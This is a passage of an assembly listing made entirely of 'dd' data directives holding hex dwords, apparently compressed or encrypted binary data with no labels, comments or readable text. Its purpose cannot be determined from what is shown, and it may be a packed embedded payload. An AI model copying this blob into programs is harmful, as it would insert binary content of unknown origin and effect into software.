0BA00B278h, 242CC24Dh, 128778F3h, 0F1E320Ch, 676747F5h dd 0A73CA034h, 4C03C444h, 0FC6438CCh, 0A374936Ch, 792787Ch dd 7E8E928Ch, 47A4279Ch, 87B467ACh, 0CAC4A7BCh, 9FD41FB3h dd 9FE49FDCh, 80F49FECh, 33041CFCh, 144C9D0Ch, 9F2CC0E0h dd 0B03C1F34h, 90B092h, 0A24F5492h, 296CC964h, 6287A403h dd 938CE784h, 0B79CA394h, 4FAC0FBFh, 0CFBC8FB4h, 0CFCCCFC4h dd 0CFDCCFD4h, 0D3ECCFE4h, 0E1FC1D00h, 0B0C3404h, 1CD114C9h dd 2C9380F5h, 73023FEBh, 7744753Ch, 3E547B4Ch, 1F7DB85Ch dd 9F74BF6Ch, 9E849F7Ch, 5F94DF8Ch, 24ABC09Ch, 0D69FA6B7h dd 0E8E8DCE4h, 8702FCECh, 27083504h, 1E8BDE0Ch, 0A7188014h dd 0E720C71Ch, 32002472h, 0B6D344E4h, 0E470F36Ch, 69CBA274h dd 84E98084h, 8CF988F1h, 0C0F9A0F9h, 0CCF9C8F9h, 0D4F9D0F9h dd 0DCF9D8F9h, 0E4F9E0F9h, 0FCF8E8F9h, 6C7548h, 76287472h dd 43304C2Ch, 387C7A00h, 405D3C7Eh, 0A8EADC20h, 0E380666Fh dd 9026E788h, 9819F74Ch, 0CCF9ACEFh, 0D8F9D4F9h, 0E0F9DCF1h dd 4461BD21h, 0F0F9ECF9h, 0EF4F8h, 4E2C370Ch, 0CF388E34h dd 400F3C01h, 488F444Fh, 50E94CE1h, 6419C1F2h, 8CE984E1h dd 94F990F1h, 9CF998F9h, 0A4F9A0F9h, 0ACF9A8F9h, 0DCF9BCF9h dd 0AC9E4F8h, 0F056A7E8h, 0F2F894F0h, 3809EE00h, 47146087h dd 3C67341Dh, 0B5A440CAh, 0F34C6603h, 0A3549350h, 0A95CB258h dd 98BF07BDh dd 0B54F9CE5h, 0CFA8CFA4h, 0D6B0CFACh, 0BFB8D70Ah, 0F000B1A8h dd 0A8E9F4F2h, 181FBFCh, 0AC740439h, 0FD10EC0Ch, 0F840FC20h dd 4CFC481Ch, 541D509Dh, 5C1E589Eh, 0AD24609Fh, 789F681Fh dd 0A09F989Fh, 54B3A49Fh, 0BAB0F0ACh, 47E69B8h, 44C0AD01h dd 0F93F71D0h, 43ADCFDh, 5070E53Fh, 0F409143Bh, 0A28F818h dd 41DA3B01h, 0E82470EAh, 0F339A3A4h, 0F3B8F3B4h, 0F3C0F3BCh dd 0F2C8F3C4h, 4DC3CCh, 0E4083B78h, 0EC10E80Ch, 18F0140Bh dd 0EB476F4h, 805924FCh, 3874AB3Ch, 61F3749Ah, 819A8026h dd 3699709Ch, 89C1FAD0h, 0BFDCF9D8h, 5E43F7Ch, 3C74C7F4h dd 472050C0h, 28670024h, 30A42C87h, 1F00ED85h, 5002B2FFh dd 26783EE9h, 3A8D7CF9h, 880F843Bh, 904F8CFDh, 98CF948Fh dd 3A0FA8CBh, 0D48FD0CFh, 0DCCFD8CFh, 0E4CFE0CFh, 0ECCFE8CFh dd 4F8F0C0h, 2400723Dh, 30762C74h, 7A3478h, 40F1FF38h dd 48F9F061h, 64E84CE4h, 8F3875D5h, 0CCA0CF9Ch, 0FCAC7DA4h dd 6470C0C0h, 0F0FCEC98h, 0F729EADDh, 0E4043E80h, 4CE808h dd 8AB26CECh, 20642658h, 8870600Bh, 84558081h, 0D27232h dd 0DA76D674h, 0E27ADE78h, 7EE67C0Eh, 8EEE4EEAh, 0F6CFF2h dd 76FE5DFAh, 3A060039h, 2E0E3B0Ah, 34E87012h, 2F0042F8h dd 0C699235h, 1BD1B6h, 48FAEA25h, 723813E4h, 0ED74CC1Eh dd 408E070Eh, 0AA3B923Ah, 47AF0027h, 81DE67BBh, 10033C0Bh dd 4FD12AC9h, 0A6E1C8D9h, 8EE300E9h, 4E3E3D14h, 820E8A6Fh dd 0A0C89598h, 7D3F185Ch, 3BA800BAh, 3DCE3CC1h, 0F61F3EE7h dd 2A800F0Eh, 8195644Eh, 6701C32h, 132CC06Ch, 88753033h dd 0F0AC1400h, 0F8C6F4BDh, 3139007Dh, 2CA83A8Bh, 2E00C4B1h dd 7674BCACh, 0D978BFh, 559F77Ah, 3B2A3A6Ah, 502C3900h dd 1F56AC5Ah, 0A79F39A0h, 0EB00B03Ah, 851C0993h, 6397469Dh dd 7A3FC8ECh, 20BF0059h, 0A4357D0Eh, 8E00BE4Eh, 3689C3CDh dd 0E5939Bh, 0BB0F7A3h, 77E44B37h, 78849A02h, 80CA7ABBh dd 381D1CD1h, 3A93002Bh, 700F7253h, 65004F5Bh, 6EA76A89h dd 0E47BE775h, 0EC86E880h, 93E4018Dh, 0F39E78D3h, 0F2A9C8A3h dd 7469AE03h, 93D9F9C1h, 0B7EEA3E2h, 307235E0h, 9C0D306Eh dd 289E1F6Ch, 72311E30h, 3969664Fh, 7B3A72CFh, 0BA00803Bh dd 9CFEDACAh, 3C00931Eh, 3C9244Fh, 1953B7Fh, 0F249BE92h dd 0F4F0E1E7h, 0E4031E08h, 9E2EDD31h, 9268B855h, 0D24F2E71h dd 9DBD1C8Dh, 0C9DE00D5h, 142661F2h, 3B0E3800h, 24633C54h dd 0E184B71h, 0D58EC549h, 6FC4DDC9h, 243E1700h, 641E627h dd 0C9160F3Fh, 0D921D121h, 0FD34E12Fh, 3383320h, 78122294h dd 0A98CE583h, 508C07F2h, 25947E2Ah, 0A065D298h, 74A867E9h dd 0B4FCB069h, 6F2EC09Bh, 714BC897h, 0D873A5D0h, 4EE075D0h dd 500F07E4h, 20F0CFECh, 4BF8C9F4h, 2325600h, 79600680h dd 783B898h, 9CC30893h, 0D3143010h, 0F3F8E318h, 240E2072h dd 207028F2h, 0EF3402C9h, 581303AEh, 27647C82h, 0E474E7E8h dd 88B497EFh, 9496C91Ch, 0AA922461h, 0B84BC480h, 0C9C4D60Fh dd 0D861C813h, 38DC7102h, 58DCC496h, 9A05DA27h, 0C8043107h dd 1807645Bh, 283FA2E2h, 34243021h, 40E1BD21h, 967248E9h dd 7D587B7Eh, 98645C60h, 5C707E7Eh, 0BD79A78h, 9C909029h dd 0F400A024h, 0B493AC9Fh, 56C01A82h, 0D825AB70h, 0F0E81E11h dd 31B04EF0h, 320ED60Eh, 890CE008h, 0CE4E114h, 22D4389Eh dd 0E8004A31h, 33258803h, 719348h, 16B2BBA3h, 42744650h dd 78537600h, 17987A67h, 0D53700B4h, 69389007h, 39005E21h dd 312C71E7h, 1DD7C9A2h, 803CE3D1h, 0D3B030Bh, 2200BC27h dd 37872D67h, 1CC741A7h, 9D56E74Ch, 0E56B0061h, 8BB49276h dd 0A0BE4907h, 207FC834h, 59B8B0C4h, 24B21ED2h, 0FA96C0E6h dd 233CF007h, 0C72F2500h, 844167E5h, 0CE92004Bh, 0A3A6C95Ah dd 0BCE4AFF9h, 0D7F8E8E9h, 0E3593D07h, 3E10025Ch, 1933F87h dd 22B28C49h, 0CC902060h, 0A8020F84h, 7316730h, 330BC0A9h dd 12477FBh, 0E826DCA0h, 70D1EC9Dh, 4000B266h, 940E524Ah dd 37C3DAh, 0DB938A36h, 66BB21A3h, 0C2E5CA00h, 61D2EA46h dd 30A50058h, 2F723A5Eh, 5D3B7E74h, 685C02A9h, 0C22EE43Eh dd 2CEC40EBh, 8E45014Eh, 0A751CBEDh, 0D347F014h, 3D126100h dd 0D152C92Dh, 0B0D9006Eh, 0EC874A65h, 39013E1Eh, 7A475E27h dd 0C4ECBF67h, 3F0201A1h, 0D11AC907h, 246A875Ah, 0A0E0E49Dh dd 0F980Ch, 5F302D15h, 0C0B32A0Eh, 320B6400h, 0E8A3E44Fh dd 0EC9E0E52h, 0C05DA11Dh, 50343887h, 0B0006E24h, 35394A46h dd 0F5D3A58h, 7CCEFE7Eh, 0E8EFE420h, 0D003B4FBh, 959D1A1Ch dd 7B01A024h, 3D73063Ch, 5A4E747Fh, 0E6F0BF00h, 0F17E3EBAh dd 10C7513h, 79D28312h, 0CCC3A7B3h, 0E279C0D3h, 0FBA46909h dd 72A40070h, 187412h, 28782276h, 537C4B7Ah, 5C7E39h, 146F5A69h dd 23F82C2h, 8CAD26A7h, 9269BF9Fh, 0E0D3D9CDh, 0E12693D9h dd 0CA17744Fh, 0B0443500h, 1C018404h, 0C007D4E4h, 9E43E90Dh dd 2103C31Bh, 2FE229D3h, 3F5AE8D0h, 4BE60009h, 0F95DE0C1h dd 0C3B07865h, 84227E01h, 0B4BC9C54h, 47E2CCh, 0D4DDE4CDh dd 152C056h, 9A163100h, 7825764Ch, 3D7A0C2Dh, 63C34B7Ch dd 719EC6DDh, 7F9F791Eh, 8F9F871Fh, 0A79F9D9Fh, 0B300B593h dd 0D20FC34Eh, 0D7CF39D1h, 0E3C9DD00h, 0F8FADAC1h, 5A32010Eh dd 1E54270Eh, 2D0F27F0h, 8B330F4Fh, 69E1A15Ch, 0FCC8A834h dd 0AC004E35h, 61170C09h, 0D068F2h, 0C3723786h, 0A00FCF4Bh dd 2303EE01h, 0FF93D538h, 0F390BE0h, 0E92AE418h, 5843B200h dd 62697C56h, 9AB300B1h, 0E4B73FA0h, 0B30900CAh, 9E24BF3Ah dd 444BD2DEh, 1EF12CE0h, 7F6C2BD9h, 743B6780h, 962E8624h dd 0DCC2AC02h, 0C012D0B8h, 0C44929h, 7CC2DA2h, 0D8E7D416h dd 0A0DCE40Eh, 0E8FC8082h, 3E1088h, 1C741872h, 3DE22059h dd 2C4C287Ah, 342D00CBh, 0E73C1E07h, 444E440h, 92A048E4h dd 78FDA050h, 114BB594h, 18639016h, 4F1A9C2Ch, 0AC1F3022h dd 5A6074EAh, 7A004FB8h, 0C1E8CBE0h, 72F9F032h, 96F874F4h dd 43F007Dh, 0C8641CAh, 0E110D900h, 1C8A2414h, 922007FCh dd 27487E8Ch, 49544050h, 2E009058h, 0E0763C60h, 0C1E1F0h dd 218B250Ch, 8A0BA428h, 9C902D00h, 0DB72337Dh, 3E73D4Fh dd 13340680h, 22A21993h, 2CAE6900h, 38F10571h, 643C07F9h dd 0BD9A464Ah, 4F3B206Ah, 880F6F13h, 2BCBCEC1h, 47B6807Fh dd 630E6756h, 23B06F84h, 90FAFC8Eh, 3D390Ah, 9A4A261Fh dd 8A15649Eh, 3FE9F258h, 0B73E002Fh, 0DE07C32Dh, 0F38500E2h dd 4894A254h, 390026DDh, 885C9522h, 5CAB8050h, 27325BAh dd 8C0CCC4Ch, 15C0F810h, 2E009C6Dh, 55966417h, 7E79D882h dd 0F9EF0049h, 0EC468F5h, 6D003166h, 16A9734Bh, 18CD605h dd 0DA48ACA6h, 0D007AD2Fh, 0C100E4BBh, 0DC19D249h, 0EDF9E5h dd 0F824CC6Ch, 9D0D9CDEh, 223C1D71h, 5E7A80BFh, 735B6B7Ch dd 86D4010Bh, 0F993AE41h, 0D0B2C999h, 3E1C78BAh, 0CD9DC73Fh dd 0E02EF30Fh, 11330B36h, 1E1C728Eh, 4035CF21h, 73FCC147h dd 96E489F9h, 6858A5E8h, 28B900F2h, 32E4D41Fh, 99EC00A2h dd 72F162EAh, 2E00087Ch, 0AA963C8Bh, 0C36C83h, 0E2F2D0F3h dd 0FB7E10F8h, 3508160Fh, 4062E01Ah, 0C348B3h, 0E250D34Ch dd 5C38C954h dd 6860F907h, 0CA302C6Ch, 9D529Ch, 8377166Bh, 0A3D39630h dd 0F3AFE300h, 0C9CEF2BCh, 68E700DAh, 37060E1Eh, 63004329h dd 7C936F38h, 1DB28EA3h, 0EE4E5894h, 0C44F81F4h, 78CCC60Fh dd 3BD43A60h, 0C3DC01D8h, 95593953h, 0EB30DE71h, 84F47Fh dd 0E6E3D5D3h, 0BF0F9F3h, 9E623A00h, 0A078127Ch, 0BAA7014Eh dd 7E6C9808h, 4FD6C8C7h, 600E3000h, 0CAD8D50h, 0E6481DDDh dd 707540E1h, 0BD723D82h, 9594E00h, 5083DE42h, 9233003Fh dd 3832544Dh, 1072012h, 397730A2h, 9B258E30h, 0B21E0241h dd 46E9C7E1h, 2A4EDAE0h, 0FE903200h, 0C1CE476h, 9D180033h dd 9E531D2Bh, 25001468h, 213507D2h, 3275036h, 4F724557h dd 0FA98F0B0h, 37480383h, 0A32201BFh, 0E95BB22Bh, 0F1EE20h dd 58B4688Dh, 0EF93F0Ch, 80381B3Ch, 0D28BCB4Eh, 0F27241h dd 939F47Ch, 96120F2Ch, 56836A03h, 0F899E38Fh, 70AC9A6h dd 3BA84128h, 0D1737069h, 9302A83h, 0D32ED402h, 1EDB72F9h dd 0DC3CE8h, 3A39A604h, 327A3B27h, 643D451Dh, 0C4846EC0h dd 3C04AC9Eh, 19BCE73Fh, 0F05DA280h, 46BA0380h, 25D1F900h dd 0EE332ED9h, 7765723Fh, 0C09F0199h, 4E57C597h, 4B1BD80Eh dd 0D4A5B925h, 30CC0130h, 0ECE0501Ch, 70000F65h, 0C1228BBBh dd 0D15FBCh, 347ED96Fh, 1696A30Ch, 4B00B9E2h, 0AEC0E4DAh dd 0C5E3214h, 0CDA82238h, 0FE13498Ch, 980039DCh, 789ED46Eh dd 0A07D2F12h, 1FF47570h, 0B897AD00h, 344B6480h, 0B6E4095Ah dd 3160C7E8h, 0C80092D8h, 216C690h, 4B1D0F35h, 2FEB00F2h dd 599F471Eh, 920B65EEh, 7E2A06Bh, 811B9500h, 0AFE7AA06h dd 3EF0B9D0h, 0D383C834h, 0E27E16BAh, 0F25EED90h, 7200304h dd 79810C36h, 8B603322h, 60E40049h, 0E6276CF1h, 0B5E4A43Fh dd 4C92F07h, 5AD0E30Ch, 0D3E20h, 279E4091h, 0E0FDA3Fh dd 0B1C9A100h, 74C564E1h, 83D94A4Ch, 9A0E9AAh, 5998E0B6h dd 0AB2D1400h, 41E40F5Bh, 0D8B08Fh, 615FC956h, 7DF9748Eh dd 3D9887E4h, 26DE6C01h, 0C39F16AAh, 0DBD0CEC9h, 0E0E60092h dd 8495117Ch, 0F000205Ch, 91F43660h, 0FB696F8h, 0C3AB13BEh dd 0CEF3C4C2h, 0E376A5D8h, 0F700ED78h, 667801F2h, 762774h dd 0F595B31h, 0CD8FC2A2h, 61D8C900h, 0D02CECCEh, 180C778Bh dd 6E6C4086h, 941C3E92h, 0C69DB03Fh, 0E580CB1Dh, 8A3C4709h dd 0C990005Ah, 4D064002h, 16000FC0h, 7F83095h, 4E0331Ch dd 8734C12Fh, 1251C335h, 148AB2C0h, 0DF1FEC1Ch, 0FE9F00BAh dd 3AE60B95h, 0A9750024h, 68E956E8h, 0F8017012h, 2E785F04h dd 0EE602A06h, 0FA8385Bh, 0B4CFB000h, 0EAA7B8C9h, 0C4E7C000h dd 1AF0C8E5h, 1CBE2ED0h, 8BF81CD8h, 9780E0FCh, 76087404h dd 10780C00h, 187C147Ah, 741C727Eh, 5F240020h, 30340B28h dd 0C70E36E5h, 0C25CE758h, 0D13CF060h, 47806BFEh, 0B954FD8Bh dd 0D40DD200h, 0A879106Ah, 0C8B40093h, 2CF8C06Eh, 44003127h dd 3C504891h, 5C894Ah, 684F4CE4h, 79744E22h, 800013FAh dd 9E8C52C8h, 984454h, 0A42756F2h, 3CB05891h, 0BC895A00h dd 0C84F5CE4h, 0D45E0022h, 4E986078h, 8B481C4Ah, 6AD00143h dd 10484170h, 58EA3D30h, 4A00FD28h, 38EE8230h, 120BF054h dd 60F2A040h, 16089EDh, 68F40B2Ah, 0DC709C61h, 7805F80Fh dd 6CC17CC9h, 0D7CB1CB1h, 80E41CD2h, 46890495h, 4FE80350h dd 180E0910h, 20776A77h, 4428A807h, 6A41FF68h, 0F6F94089h dd 4AA370h, 586E224Ch, 6012FC54h, 68FEA012h, 7000721Ch dd 782502ACh, 807C3B04h, 889606BBh, 702AA61h, 60980A09h dd 5CA07ED4h, 0C600B64Bh, 0B4F261ACh, 329CB8F9h, 0F2BC000h dd 2CBC81Ah, 0D4B2A4CCh, 33F8EED3h, 56E4F209h, 0F0432726h dd 0F892F420h, 0C12E0EB1h, 30292B35h, 51501AE2h, 38F034ECh dd 0DD2E4Ch, 0DE2F4497h, 0BC4CCA4Ah, 9CC960F9h, 0ECE442A4h dd 3812565Fh, 0C0B4A10Eh, 4EBC26B8h, 0B2C40092h, 5EC3E464h dd 0F400F3F0h, 4CCBF8F2h, 43681h, 506508C9h, 7601BDC2h dd 0FF8BC04Eh, 609082EAh, 15E863E8h, 1144EB0Eh, 90DB8782h dd 0B00A2EB5h, 18DE4D01h, 902944BBh, 2B18DD03h, 8311719Dh dd 30D833BDh, 2FE989ADh, 0F0E832Eh, 3B053E85h, 0E0308D18h dd 95FF5027h, 7D31EC20h, 1BDC6089h, 9D8DF88Bh, 5311ED66h dd 36E8432Dh, 42287979h, 445721FAh, 0D48B4E7Dh, 56186A49h dd 68046A07h, 0EAA01006h, 38ABDF46h, 42684C6Dh, 3AA37526h dd 0C70C2A45h, 3774E853h, 51C87F8Bh, 0B5E10FBDh, 0A4F31B41h dd 7623ACE2h, 5036A380h, 0E8D57E3h, 2C51850Eh, 0C3C007EFh dd 409C010Ah, 9063211Dh, 70082080h, 1347843Ch, 18C1452h dd 21CC38FDh, 0E1F8D750h, 5002057h, 142C330Ah, 16F85h dd 9D8B04FFh, 0CC02A55h, 74DB0B07h, 3600A7Ah, 598587h dd 8DF08919h, 1171B531h, 2C3E832Eh, 0D36A8403h, 8B40A847h dd 1F047846h, 829968E4h, 638501Eh, 30559A90h, 560DECC3h dd 309F88Bh, 0A0BBA09Dh, 0F29AA051h, 807102h, 2D706EBDh dd 0FE4C7501h, 9408501h, 50033E8Bh, 0FF1EFCh, 7C6370Eh dd 8FD7A7C3h, 8FDFF6F9h, 3BA54C4h, 5506E983h, 333F80B5h dd 0C90B01DBh, 781C0374h, 0C4C06F1Ah, 0A308BBh, 4304D8E9h dd 0EDEB0149h, 0F81E292Dh, 0C6CD00A5h, 0FA4C76F3h, 0E0B70DE0h dd 0E66258A6h, 36E248h, 2F90CC1h, 0E18DA5F3h, 3C037700h dd 88535EA4h, 809C0750h, 679B8582h, 0B27D7108h, 0C198607Ah dd 0FF0745F6h, 64E402A9h, 95E129F0h, 864B3B55h, 2B0F1980h dd 417574D0h, 100F60B5h, 0B88A0046h, 3235D67h, 4C2E3A6Dh dd 8B007CFFh, 8834E54h, 0ACD10073h, 66ADCA7Dh, 0C10B07EFh dd 0DF910CEBh, 0B9DBB00h, 161F5002h, 201F033Dh, 812F2CC0h dd 3FFE314h, 1F79820Fh, 0D4990401h, 0FBB2E51Dh, 462D0EB8h dd 0A4E03FE7h, 0D9B800E2h, 4B61DC9Eh, 350128Bh, 0C0460E2h dd 7140C085h, 0EB835380h, 0D8EA09C2h, 0F000C7A2h, 3275260Ch dd 16530700h, 6E0429F0h, 0C74A004Dh, 0A9413BB4h, 460EC403h dd 0C0664706h, 0ED6A107Ah, 0B71B0057h, 1A7ED618h, 0B000FA51h dd 0DB850D41h, 2A2A499h, 0EC62F759h, 0C0F58001h, 43DA48h dd 8A5653C5h, 0AC7F6502h, 5019B507h, 6730E8B8h, 1F6F755Bh dd 12A25A6h, 98D28B57h, 2BC7CC65h, 4231341Eh, 2A99E9C0h dd 0E064939h, 5337DC36h, 75188EE0h, 0D3005A24h, 0E2C1124Ah dd 2631402h, 7B3F7C0Fh, 10DF833Ch, 401CA320h, 0A100DED9h dd 16EB5F23h, 3B21515Ah, 4B8081A4h, 4C830789h, 370004B1h dd 0E7AF32E9h, 744A2D06h, 0A100392h, 0C1D9141Ch, 24FEEBF8h dd 4485BA17h, 3DA44D00h, 0E6C25B48h, 11100004h, 7561022Fh dd 13EB808h, 4B0C8022h, 0C3032BF5h, 8D1C0093h, 51B71558h dd 0D300AC50h, 0BB7656DCh, 732542DEh, 21A30048h, 302708EDh dd 4A0094DBh, 3C641A8Bh, 70D0D83Dh, 10C40483h, 0C3306A5Fh dd 1DC24689h, 0F6C9C260h, 8A2C4701h, 5B513C97h, 0E0297430h dd 0B3A40072h, 0F6F8277h, 9B00236Ch, 0C0AEBBECh, 0AC65FCh dd 1DA59D08h, 0B6E3403Ch, 6164700h, 3109F156h, 32F60058h dd 4DA49D0Eh, 0AC0071FEh, 0E3910BECh, 10425Bh, 0D5EF77F7h dd 0E9E7F97Ah, 0ADE5B600h, 57212ED9h, 6BC000E0h, 3ACBA25Dh dd 0D5009DC1h, 82AD3925h, 3644F2h, 0DD6573E8h, 0E3DAA494h dd 8CE9B400h, 1F43537Dh dd 0C79B00CBh, 0E26D4C46h, 0E500D8DCh, 8B9F5205h, 399E71CCh dd 9080E941h, 55FD213Eh, 28774298h, 68083A00h, 9B1037DBh dd 7BE80F1Ah, 0DEEED52Eh, 9400B974h, 9779CF04h, 0FD00112Ah dd 52744972h, 5F7AF3h, 0D748AD0Eh, 4E247356h, 47596C00h dd 0B9EAE0CDh, 983B00CBh, 9C1E516Bh, 30004486h, 61FA69C3h dd 67F0E8h, 8907164Fh, 0F19A83CFh, 6D3EF7E0h, 6343007Bh dd 49CE6292h, 7DCF00B0h, 6003D32Bh, 0DE0F27BCh, 20206DEDh dd 8EC122C6h, 0D0AF0036h, 1F9AF57Bh, 0B13BE8ACh, 74CC8049h dd 7F21437Eh, 0B87A002Dh, 0B371BB57h, 68989948h, 910153E8h dd 8D7804E6h, 0ACC47C16h, 0E0F200BDh, 50F7CF86h, 0E100D441h dd 1616E81h, 0D058FCh, 4B972449h, 52EA1460h, 0B53E3003h dd 0E0DC743Fh, 798CEB88h, 0BE1200FBh, 0C5A349A7h, 355B1589h dd 0AF06A0h, 815F2458h, 0BF9BC2DEh, 7B4B3906h, 0C1BA0B98h dd 360490DCh, 891C466h, 0AE4AB400h, 0D6FE3523h, 8B0E002Dh dd 5294F83Ah, 43073049h, 56B1F975h, 0D0579363h, 9E2D2h dd 4A2682E8h, 0AE2F06CAh, 5E1E4B01h, 964866E7h, 3E86620h dd 34FDF544h, 50013E0Eh, 0A41797D6h, 0E30671Ch, 4A9500E3h dd 4F6FBBE2h, 0C2E27951h, 20D02400h, 77DBEA4Bh, 2D5600CBh dd 14461D6Eh, 3B7F7327h, 4B165E16h, 0DC38E500h, 1AB19Bh dd 0C9F031B8h, 1F6DEB41h, 11C2CC09h, 2A7800D3h, 2C8938CAh dd 30E60Fh, 3E651731h, 0C1745EC2h, 0C0B731Ch, 1364CFC0h dd 804B8Ch, 3100E1Bh, 0FE081D32h, 0CA54E700h, 557B393Eh dd 87B7009Dh, 323749C2h, 9501036Ah, 62C30D10h, 74CC0AFCh dd 7B80038h, 9C588FB1h, 819877A8h, 80E6B03Ah, 0A52AB60h dd 2DB24Ch, 0BC3168FBh, 2B4B5811h, 8ABB2E00h, 2454411Fh dd 0C1B0051h, 1EF2DB63h, 7400440Fh, 876EBE17h, 77F7Ah dd 13512545h, 0A83ED9BBh, 2603717Dh, 7C22D406h, 9339A88Bh dd 929B004Ch, 7F5F3730h, 0AEFE1180h, 15BDBE00h, 5D90FCA6h dd 0F4AAE042h, 922000C4h, 8D866C93h, 481F9483h, 40009077h dd 975A7F07h, 0B17FD1h, 0DFEF7062h, 0CEBD95CCh, 370CA707h dd 90606976h, 0CADDF1h, 0EF2611B0h, 0A0C2D592h, 0BA00EB90h dd 326204ADh, 1E460C64h, 521668EEh, 0C03C1CA2h, 37D12903h dd 5F07D8F4h, 0D42E6527h, 7B928DA0h, 81B7587Fh, 4C86900h dd 3125D355h, 0B0A7140Eh, 7356AF84h, 0D6812A09h, 0D0D30758h dd 0CC67038Ch, 705EE8C8h, 83E99800h, 76CD996h, 2C8B02C5h dd 4BED8124h, 0C33D4F50h, 60EC9A55h, 0B834C308h, 0FC0C7Dh dd 68A80B2h, 47078846h, 75D2020Fh, 4E164F05h, 0EF73E512h dd 2B4A0B28h, 840DC033h, 0B1D6830Fh, 130F5C3Fh, 0F00BC057h dd 3E570674h, 718F82Bh, 0A0EBBD5Fh, 3EA7A0B0h, 83EA7260h dd 28F0FBE8h, 1020ADB9h, 8B56F0C9h, 0F52B00F7h, 0E95EA4F3h dd 2C1FF58h, 8E0C148h, 0E88BB251h, 3DCE315Ah, 73367D0Ch dd 50E1A64h, 410E8A1Fh, 88F01040h, 0F8838118h, 0D403777Fh dd 15AE02C1h, 0A316FBh, 0E8C0C933h, 83127401h, 0B602D135h dd 0FEE71C71h, 83DC5D03h, 0FC998926h, 8C2E061h, 4538799Ch dd 6B0E1EE2h, 726E7265h, 7B9D9CACh, 69563E70h, 6175748Fh dd 6F1641CCh, 3B0D6356h, 0D6653846h, 3B503E0Ch, 637AFE6Fh dd 783F45E0h, 872AC569h, 9E451AE7h, 338C3575h, 291F4D43h dd 42C36761h, 8341786Fh, 7270D877h, 746E1969h, 7B4C1466h dd 52458D80h, 3C06DD20h, 0D6C4BDF6h, 643E7050h, 5FB8756Fh dd 79C64237h, 53BEFF20h, 0EF73251Fh, 0FC3FE271h, 625AD0DFh dd 6187A638h, 381EDBE2h, 0E56B7DF7h, 6DFBE379h, 2E6663E3h dd 3F0B6B20h, 756D7262h, 27DD7B68h, 1E26D67Bh, 0BC437556h dd 0E0C14990h, 0E509D232h, 33181709h, 33FD4702h, 0FEF741F1h dd 2398F5D5h, 0C1A16F4Dh, 6148F86Ch, 0AC466E6Fh, 7B4C2741h dd 93D2F56Fh, 0B3F6FC53h, 6AA9B48Dh, 15704B8h, 98EFBFh dd 0FFFFA899h, 1992h, 0CCB4F7F8h, 4DAD7F49h, 9CC3245Eh dd 10D1707Eh, 0C10B8D64h, 809C115Fh, 6FA8E59Dh, 0A80AA3B0h dd 906D0490h, 855FC24Ch, 57E2F9F0h, 9FAA5EE7h, 44E3AEB4h dd 276117h, 0B892BACDh, 0D29E5EEBh, 4261F2AAh, 32FDA2Ah dd 376251F0h, 42B23404h, 970BD42h, 0C933E6B4h, 0B16ABFCh dd 9EFD8FECh, 0BBD419CBh, 0F0D6EEDDh, 0F69BCEF1h, 9BE46419h dd 326AA0BBh, 0D0E9F6DDh, 0D5CEA6B6h, 99627BF1h, 262FCDD0h dd 116AD4B1h, 0E828F331h, 21B33809h, 70AC67CCh, 76A6C44Bh dd 82141FE7h, 0FD8B4C11h, 9F5A84BCh, 0F9F7A7B0h, 0A4765071h dd 55C93B76h, 0CFF86243h, 0BBB4E72Fh, 0C5CA1392h, 209770DCh dd 7D56CAC9h, 9D511ABFh, 36540E20h, 2C322249h, 0F9955888h dd 4E015080h, 23055FCBh, 461082B3h, 0BEB0A094h, 5E5018B7h dd 79DDFFAEh, 7608C2E5h, 62F0CEF3h, 6A7F0F5h, 7C12AEE6h dd 44C31E10h, 0EC8571B2h, 0EE35EC7Eh, 14EF2566h, 3137EC4Ah dd 5A3DA0E2h, 0CC5C20FAh, 0E6506065h, 90A6A66Fh, 48310397h dd 62EB66B5h, 8D18D5BEh, 27CEEB2Bh, 994E1A6Ch, 0CE383C36h dd 94D52C1Fh, 0FFEC6E9Ch, 548AB8Fh, 0BDF4899Fh, 0E5A8F58Eh dd 2CF1D2FAh, 0A532CC67h, 0DEF4499Fh, 37F8F71Dh, 6BD2DB77h dd 7CE32ED7h, 70EAF3A9h, 4E99FDC6h, 26DB854Dh, 0E7092989h dd 0AAC9FAADh, 0A97BB337h, 957190A1h, 5B3CBD77h, 0F623262h dd 29451AE5h, 0F55F29EDh, 0E879B090h, 1A5FEB80h, 0F54A367Eh dd 6258C885h, 3CE908C5h, 0A25FA1FAh, 973AE6E2h, 5030ED74h dd 96E1248Ch, 0AF8BA6FDh, 0FA5196Eh, 783A0A90h, 66E09929h dd 637DC888h, 4F2486D3h, 0ABBB9E79h, 84FA7FE6h, 2F5A4C65h dd 9DF881D5h, 1AC6A70h, 397F9Eh, 31B60A89h, 8755D571h dd 0AEB2DB95h, 97F43437h, 0F5AC6B4Fh, 8E0B508Ah, 0A9CC014Eh dd 54485C6Bh, 0C7F3148Bh, 3A90C4F2h, 1481E7ECh, 0B779A8E6h dd 0AA9B7F33h, 0CD32F529h, 10FF127Ah, 36A8CE61h, 0F84A9FEh dd 42F031A1h, 0F9A37C51h, 0E385C0D6h, 0D4C2253Eh, 9DF8DF92h dd 6A4B9DA4h, 5568D643h, 649ED68Fh, 8BF8DEDFh, 0D8955CCCh dd 0E629BEFCh, 3107DBF6h, 0F07D698Ch, 1F7D7D58h, 3C7AC99Fh dd 0DD165F6Bh, 0CEAE2C99h, 0A4C9C46Eh, 2EE734ADh, 31BB3F61h dd 831DB9D9h, 590999CDh, 0BAD907Ch, 0D6E2FC58h, 8653CF50h dd 68F2F838h, 8C4168B0h, 21CD2247h, 86868869h, 0EB7628C3h dd 9BE2E561h, 0F4999767h, 0CE56A945h, 1946E152h, 0BFF1CD53h dd 65012AF0h, 3583285Ah, 60419CDAh, 2BE8C72h, 8BA5B9DEh dd 2DA5DC9Fh, 0EA873B55h, 0B41AF8Ch, 0A798F05h, 91F2AF45h dd 0AD35D31Ch, 0CC955391h, 83307E62h, 0F2BB83A0h, 0D0BF0629h dd 5E47FCCBh, 7C86389Dh, 84D8ECFEh, 0F09AC750h, 0C39B74A9h dd 0F5FC8968h, 6B6FAEE5h, 8B7F9AECh, 0A38BAB1Ah, 7ADB7F2Dh dd 25BA5B26h, 754FA781h, 58277107h, 0F97B05A1h, 0B0DF767Dh dd 0FC63F611h, 0C0E7B070h, 0A0864AA2h, 0D80F8654h, 63E0B3BBh dd 1259DC78h, 7D81E62Eh, 0D5667400h, 25978371h, 0FC8B2770h dd 35FA25F0h, 237C94Eh, 1CD643BFh, 931957DBh, 13159DD0h dd 8BE2B4F0h, 5A2311B7h, 0ACD58F6Bh, 15F32F07h, 0D0363A56h dd 4F2F5F5Bh, 17412339h, 0BDDD77ECh, 722E9D89h, 